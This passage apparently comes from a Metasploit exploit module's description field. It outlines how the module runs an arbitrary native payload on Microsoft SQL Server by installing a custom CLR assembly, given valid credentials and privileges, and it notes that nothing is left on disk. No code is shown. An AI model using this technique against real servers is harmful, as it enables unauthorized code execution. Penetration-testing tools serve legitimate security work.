      'Description'    => %q{
        This module executes an arbitrary native payload on a Microsoft SQL
        server by loading a custom SQL CLR Assembly into the target SQL
        installation, and calling it directly with a base64-encoded payload.

        The module requires working credentials in order to connect directly to the
        MSSQL Server.

        This method requires the user to have sufficient privileges to install a custom
        SQL CRL DLL, and invoke the custom stored procedure that comes with it.

        This exploit does not leave any binaries on disk.

        Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64).
